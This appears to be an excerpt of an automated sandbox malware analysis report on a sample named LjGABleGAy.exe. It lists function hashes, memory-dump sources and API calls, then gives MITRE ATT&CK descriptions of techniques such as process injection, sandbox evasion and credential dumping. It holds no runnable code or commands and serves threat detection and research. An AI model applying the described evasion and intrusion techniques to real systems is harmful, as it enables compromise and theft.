Function 012ED4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2215256335.00000000012ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 012ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_12ed000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 921d8c7d6bb50e09d79be69dc0162a9edb74f108cc12677cfb5d3713d6e03f49
Instruction ID: 92bc15ece1221062782a0307829cc4dfd79bd14ef4e18a33dad13caef1ed890b
Opcode Fuzzy Hash: 921d8c7d6bb50e09d79be69dc0162a9edb74f108cc12677cfb5d3713d6e03f49
Instruction Fuzzy Hash: BE212571510248DFDB16DF58E9C8F26BFA5FB88318F60C569E9090B256C33AD416CBA2

Function 012FD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2215343186.00000000012FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_12fd000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8466081804eefd0d1c2f62a0a2624c50e0a9d5985b22cc1898a9d002f75075f4
Instruction ID: 040dfa431e2e0366f5b627e0d92f52ced5a1ef118b4bcc851ed9fb8b0c4470dc
Opcode Fuzzy Hash: 8466081804eefd0d1c2f62a0a2624c50e0a9d5985b22cc1898a9d002f75075f4
Instruction Fuzzy Hash: FF210071614208DFDB15DF68D980B26FF65EB88314F20C57DEA0A4B256C37AD406CA62

Function 012FD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2215343186.00000000012FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_12fd000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85c63fa558c6d37f9269fcd15db45d449b20224afacb4452140d147744abf20e
Instruction ID: 6ebb577336a6c3be50934d6ba9955867eec15752c34d30aebd5f81d50b118223
Opcode Fuzzy Hash: 85c63fa558c6d37f9269fcd15db45d449b20224afacb4452140d147744abf20e
Instruction Fuzzy Hash: 4521D3795542089FDB05DFA8D580F26FB65FB84324F20C57DDA094B257C37AD406CAA1

Function 012FD006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2215343186.00000000012FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_12fd000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce04c23e8672d40545515d216d60e3282410386dd2f454013869e1a05bdb1d0f
Instruction ID: ce825f8d9c534849fdb9ac9605cb3b9934374f04a20d76aab5c69c1d71599319
Opcode Fuzzy Hash: ce04c23e8672d40545515d216d60e3282410386dd2f454013869e1a05bdb1d0f
Instruction Fuzzy Hash: 80217C755093848FDB03CF24D994715BF71EB46314F28C5EEDA498B2A7C33A980ACB62

Function 012ED4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2215256335.00000000012ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 012ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_12ed000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 7272ce65d5ab4c8c841cc95b3e995cf7fe3fa32c03b49169af7d60888b25ef01
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 25110376404284CFCB12CF54D9C4B16BFB1FB88314F24C6A9D9490B257C336D45ACBA2

Function 012FD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2215343186.00000000012FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 012FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_12fd000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: f2a1c9ef9683b2c4e87e070eb80aeedeb7c06218ed307e7c907116c72cccbea4
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 1D11BB79504284DFDB02CF54C5C4B15FFA1FB84224F24C6AEDA494B297C33AD40ACBA2

Analysis Process: LjGABleGAy.exePID: 7448, Parent PID: 1880COMMON

Execution Graph

Execution Coverage:	12.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	40
Total number of Limit Nodes:	3

Executed Functions

Function 065F04F4 Relevance: 1.7, Strings: 1, Instructions: 486COMMON

Download Yara Rule

Strings

j, xrefs: 065F04F8

Memory Dump Source

Source File: 0000000E.00000002.2348827463.00000000065F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_65f0000_LjGABleGAy.jbxd

Similarity

API ID:
String ID: j
API String ID: 0-2137352139
Opcode ID: ad78aa6bd9c39f0731ebeae8dd2301462bfe39a1c23ad2d5ed104bda437c4a47
Instruction ID: 653bc8decee7a13474311660f7d47f17e381472177972581da130ad5c01fa27b
Opcode Fuzzy Hash: ad78aa6bd9c39f0731ebeae8dd2301462bfe39a1c23ad2d5ed104bda437c4a47
Instruction Fuzzy Hash: F912CD307506158FCB15EF68D494A6EBBB6FF85304F01494DD9029B3A6CBB6ED09CB82

Function 065F056A Relevance: 1.7, Strings: 1, Instructions: 451COMMON

Download Yara Rule

Strings

j, xrefs: 065F056E

Memory Dump Source

Source File: 0000000E.00000002.2348827463.00000000065F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_65f0000_LjGABleGAy.jbxd

Similarity

API ID:
String ID: j
API String ID: 0-2137352139
Opcode ID: a3db37d8979649e2a58a411cf6c5625f82f89ff8d48a1ab8cb647702cf6fd93c
Instruction ID: 436eee667c0d75ab1b31f4d973596a266d8d077acddb17ed628be1802871c0e1
Opcode Fuzzy Hash: a3db37d8979649e2a58a411cf6c5625f82f89ff8d48a1ab8cb647702cf6fd93c
Instruction Fuzzy Hash: 6602DE30710215CFCB15EF68C494A6E7BB6FF85304F008949D5029B3A6CBB6ED09CB92

Function 065A75E8 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,?,?,?,00000000,00000E20,?,?,065A74A6), ref: 065A7656

Memory Dump Source

Source File: 0000000E.00000002.2348645088.00000000065A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_65a0000_LjGABleGAy.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e96c507a2dfc47a96df888044a34ff87685f2e29ac649d8af37dc8a67f6647f5
Instruction ID: da5c6865220f65b6f6ca94f4752fd965a7b23234b645ded40179c2ec87d36787
Opcode Fuzzy Hash: e96c507a2dfc47a96df888044a34ff87685f2e29ac649d8af37dc8a67f6647f5
Instruction Fuzzy Hash: E11103B9D003498FDB20DF9AC844ADEFBF4AF88210F14842AD529A7710C379A546CFA4

Function 065A7148 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,?,?,?,00000000,00000E20,?,?,065A74A6), ref: 065A7656

Memory Dump Source

Source File: 0000000E.00000002.2348645088.00000000065A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_65a0000_LjGABleGAy.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d5bb9837fbeea01b17c3d60a1d893d92988811643072ebf9a28c0cbafe078f8a
Instruction ID: 7ee4b9fad740c4b59f4a76d63354b9b8f054dbe891abe125120cb4b93220428e
Opcode Fuzzy Hash: d5bb9837fbeea01b17c3d60a1d893d92988811643072ebf9a28c0cbafe078f8a
Instruction Fuzzy Hash: 121112B5D007498FDB20DF9AC444B9EFBF4EB88210F14842AD419B7310D379A545CFA5

Function 012D0CE0 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE ref: 012D0D47

Memory Dump Source

Source File: 0000000E.00000002.2328614618.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_12d0000_LjGABleGAy.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: ab018f4e6712cf85bef2bdeb2425491ec9e2173eb53ee1c3c91e00b82f14fc4e
Instruction ID: 9ebf6a123d93de3c4f3657bc8d6ee450df021dc6df258e00905234fa9b3f210b
Opcode Fuzzy Hash: ab018f4e6712cf85bef2bdeb2425491ec9e2173eb53ee1c3c91e00b82f14fc4e
Instruction Fuzzy Hash: 541146719003498FCB20DFAAC4497EEBFF4EF89324F20845AD559A7250C739A545CBA0

Function 012D0CE8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE ref: 012D0D47

Memory Dump Source

Source File: 0000000E.00000002.2328614618.00000000012D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_12d0000_LjGABleGAy.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 6f87c5e4ea2ccf6cda3eba6ce45904c012ed08f321284ae8ce3eb81da026c955
Instruction ID: 4982417611a4d5daa524db708128ae3613c9393d963b4e375fc6b1a7ed9edd93
Opcode Fuzzy Hash: 6f87c5e4ea2ccf6cda3eba6ce45904c012ed08f321284ae8ce3eb81da026c955
Instruction Fuzzy Hash: C31122B1D003498FDB24DFAAC4497AEFBF4EB48324F20881AD519A7250CB79A544CBA4

Function 065F1550 Relevance: 1.4, Instructions: 1413COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2348827463.00000000065F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_65f0000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ed6b8499fecd15c00cfc87bd947d9efe96452f398166373e0bb513e2faf125c
Instruction ID: 8a7c0c966ba2d1d4ccb34f981c5af49af38af05a88a53ce7f0124afe3138c3d6
Opcode Fuzzy Hash: 9ed6b8499fecd15c00cfc87bd947d9efe96452f398166373e0bb513e2faf125c
Instruction Fuzzy Hash: FFC23B74A502189FCB15DF58C990FAEBBB6FF88700F108099E609AB3A5DB71AD41CF51

Function 065F344F Relevance: 1.3, Instructions: 1304COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2348827463.00000000065F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_65f0000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa18da5cc200476f10177a2fcbc9af3b995a200481e25fefe59d97bda2c1bb27
Instruction ID: 8518d9b6624f5b6dd54c9f4a38d7ee7cb2691aea9a8b3523e697741512a6fd45
Opcode Fuzzy Hash: fa18da5cc200476f10177a2fcbc9af3b995a200481e25fefe59d97bda2c1bb27
Instruction Fuzzy Hash: DDB1C474B101449FDB45DF68C894A6EBBF2FF89300B1484A9EA15DB3A1CB75DC05CBA1

Function 065F0048 Relevance: .7, Instructions: 664COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2348827463.00000000065F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_65f0000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2d36c32f2432e3b4bb64682c0fa2a7f9416f91289a635be4e485b6836e80273
Instruction ID: 547e29ec522e2b4837dde39d945ee3ef0c3ce177862e0e3345ddced56ea878c7
Opcode Fuzzy Hash: f2d36c32f2432e3b4bb64682c0fa2a7f9416f91289a635be4e485b6836e80273
Instruction Fuzzy Hash: 424278307506258FCB25EF68D490A6FBBB6FFC1314B014A5CD5029B399CB76ED098B82

Function 065F05E0 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2348827463.00000000065F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_65f0000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feaf23dfe142a1f85438a7480394176290e4131f5d4460eb43d740fee15b270c
Instruction ID: c4d382f6131e248a323207e9dfb1d71794eae89b941259d37c23d0395e9fc8d0
Opcode Fuzzy Hash: feaf23dfe142a1f85438a7480394176290e4131f5d4460eb43d740fee15b270c
Instruction Fuzzy Hash: 3702B0307102148FCB15DF68C494A6E7BB6FF85704F048959D5029B3E6CBB6ED09CB92

Function 065F0656 Relevance: .4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2348827463.00000000065F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_65f0000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46aa01e9dac5b10f679a139e96d40b8972f4013319801d6ffe3910c96f6c3da7
Instruction ID: 824e3f73e42f6d08af62ea94a2ac1c0a292677d01cda44e9f7b5193302ed54ef
Opcode Fuzzy Hash: 46aa01e9dac5b10f679a139e96d40b8972f4013319801d6ffe3910c96f6c3da7
Instruction Fuzzy Hash: 76F19F30B10214CFDB05DF64C994A6E7BB6FF85704F048559EA029B3A6CBB6ED05CB92

Function 065F06CC Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2348827463.00000000065F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_65f0000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4a0b6ae930384540dc53a0df500f89711342e7387d5a247a7b896ad2b8d3cc2
Instruction ID: 7551f9bf89116ea461077e0a34adb5e25054c66d3f1bf652158ef876e4b151b2
Opcode Fuzzy Hash: e4a0b6ae930384540dc53a0df500f89711342e7387d5a247a7b896ad2b8d3cc2
Instruction Fuzzy Hash: CBE17D30B212149FDB04DF64C995B6E7BB6FF84704F048459EA019B3E6CBB6E905CB92

Function 065F0000 Relevance: .4, Instructions: 352COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2348827463.00000000065F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_65f0000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b94ff6134bd7e4c35b4dfbac4825d83f4a389c0f1e7065e247109275a3e8fde
Instruction ID: 55952a7ba912f64316ab5a3bf1f6edd426ad59eaae0b0fe485132a1be2a6576e
Opcode Fuzzy Hash: 7b94ff6134bd7e4c35b4dfbac4825d83f4a389c0f1e7065e247109275a3e8fde
Instruction Fuzzy Hash: B5D19E30B112449FDB059F64C995B6E7BB6FF85700F14849AEA019B3E6CBB1DC05CBA2

Function 065F3138 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2348827463.00000000065F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_65f0000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b72702f55ea7d0d80a19a505443ca0fce19652da307034f7d2c746940f0c9143
Instruction ID: 00437ee47c585431fa4556b4a5028eb0b19b8398a44f65d18db3f5ab15fc0d4a
Opcode Fuzzy Hash: b72702f55ea7d0d80a19a505443ca0fce19652da307034f7d2c746940f0c9143
Instruction Fuzzy Hash: BB915E35B102049FCB44CF68C894E9EBBF6FF89710B5584AAE9059B361DB71EC05CBA1

Function 065F11A8 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2348827463.00000000065F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_65f0000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6788092ae11fa5deba2639d93c4cb663ffd68afa8423cedf4ef4d0ae872623eb
Instruction ID: 7ada443b46c7f859b7ff24814994fc4e48fb7be47a6b939f694d06141601ca71
Opcode Fuzzy Hash: 6788092ae11fa5deba2639d93c4cb663ffd68afa8423cedf4ef4d0ae872623eb
Instruction Fuzzy Hash: 36513A31B10A05CFCB649FBE988046EBBF5FFC6211B14897ADA45CB250EB31C845CB91

Function 0127D054 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2327836547.000000000127D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0127D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_127d000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f4a402261528e4889b432d07c038aa30b22c83230fcf601546e2ca3abdddada
Instruction ID: 960969415ee61499c8251902dc4594b520cdbc7d788d46c0f324f22763982d5a
Opcode Fuzzy Hash: 3f4a402261528e4889b432d07c038aa30b22c83230fcf601546e2ca3abdddada
Instruction Fuzzy Hash: 8B21F771510244DFCB16DF54D9C0B17BF65FF88314F24C569EA091A256C37AD416CBA1

Function 0128D474 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2327932542.000000000128D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0128D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_128d000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d1aebddbbe71bb65490a8d2a9a308436da62c8c3f90efa4f1c57314ba37d215
Instruction ID: 981b714fbb2c02704ee4169475245f5d859b5bde8371127445123e4e0699de56
Opcode Fuzzy Hash: 2d1aebddbbe71bb65490a8d2a9a308436da62c8c3f90efa4f1c57314ba37d215
Instruction Fuzzy Hash: 95210771514208DFDB05EF98D5C0F26BB65FB88318F20C96ED9094B2D6C37AE40ACA72

Function 0128D2C4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2327932542.000000000128D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0128D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_128d000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df229d0893096d165c51b11ef0e24a9395e841f707694ef972ddf9118c3fbe23
Instruction ID: 291a772f30a98e20f809ee3d1d97618f18ccda76ab3c1ed942dd425c03ddb29e
Opcode Fuzzy Hash: df229d0893096d165c51b11ef0e24a9395e841f707694ef972ddf9118c3fbe23
Instruction Fuzzy Hash: BC212671515208DFDB05EF58D580B2ABF65FB84320F24C569D9494B2C6C37AD40ACAA1

Function 0127D04F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2327836547.000000000127D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0127D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_127d000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4df52cb15700b59c5b6b401fa95ea1d4e97f6e18881beb99e30f99f1fcf6035
Instruction ID: 4624128b97348ca23a1dd3b0b4fbf9b66636d5616e70d2704780a2128e014185
Opcode Fuzzy Hash: b4df52cb15700b59c5b6b401fa95ea1d4e97f6e18881beb99e30f99f1fcf6035
Instruction Fuzzy Hash: CA21C072504284DFCF06CF44D9C4B16BF72FF88314F2486A9DA480A257C33AD416CB91

Function 0128D46F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2327932542.000000000128D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0128D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_128d000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: c974c95c2013a59b3183986bbb4c380fdfdc65fe0911110fb511ee2d81fb3ade
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 6E11DD75504284CFDB02DF54D5C4B15BFB2FB88318F24C6AAD9494B296C33AD40ACB62

Function 0128D2BF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2327932542.000000000128D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0128D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_128d000_LjGABleGAy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction ID: 8031a918a47eeffb4997db548b714aaa9ed6fad4ae13bbb818b22795ee68fe18
Opcode Fuzzy Hash: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction Fuzzy Hash: 8311DD76504284CFDB02DF14D5C4B19BF61FB84224F28C6AAD9494B686C33AD40ACFA2

Non-executed Functions

Function 065F0D50 Relevance: 10.3, Strings: 8, Instructions: 298COMMON

Download Yara Rule

Strings

$]q, xrefs: 065F0DCC
$]q, xrefs: 065F0F00
$]q, xrefs: 065F0E4E
$]q, xrefs: 065F0F50
$]q, xrefs: 065F0F76
$]q, xrefs: 065F0F82
$]q, xrefs: 065F0E1C
$]q, xrefs: 065F0E42

Memory Dump Source

Source File: 0000000E.00000002.2348827463.00000000065F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_65f0000_LjGABleGAy.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: 9189b89cd918d82ffc0b78598b93f1e633f6bba6c4709e8d56dfd958f7b6b67e
Instruction ID: acb6570c22fc806c6d9226dcc95a8dc6ced0204cbb0d25e98ade4df46e714069
Opcode Fuzzy Hash: 9189b89cd918d82ffc0b78598b93f1e633f6bba6c4709e8d56dfd958f7b6b67e
Instruction Fuzzy Hash: 06B1D430B10646CFDB94DB69C96497EBBF6BF89310B18846AE606D7392CB34DC01CB91

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

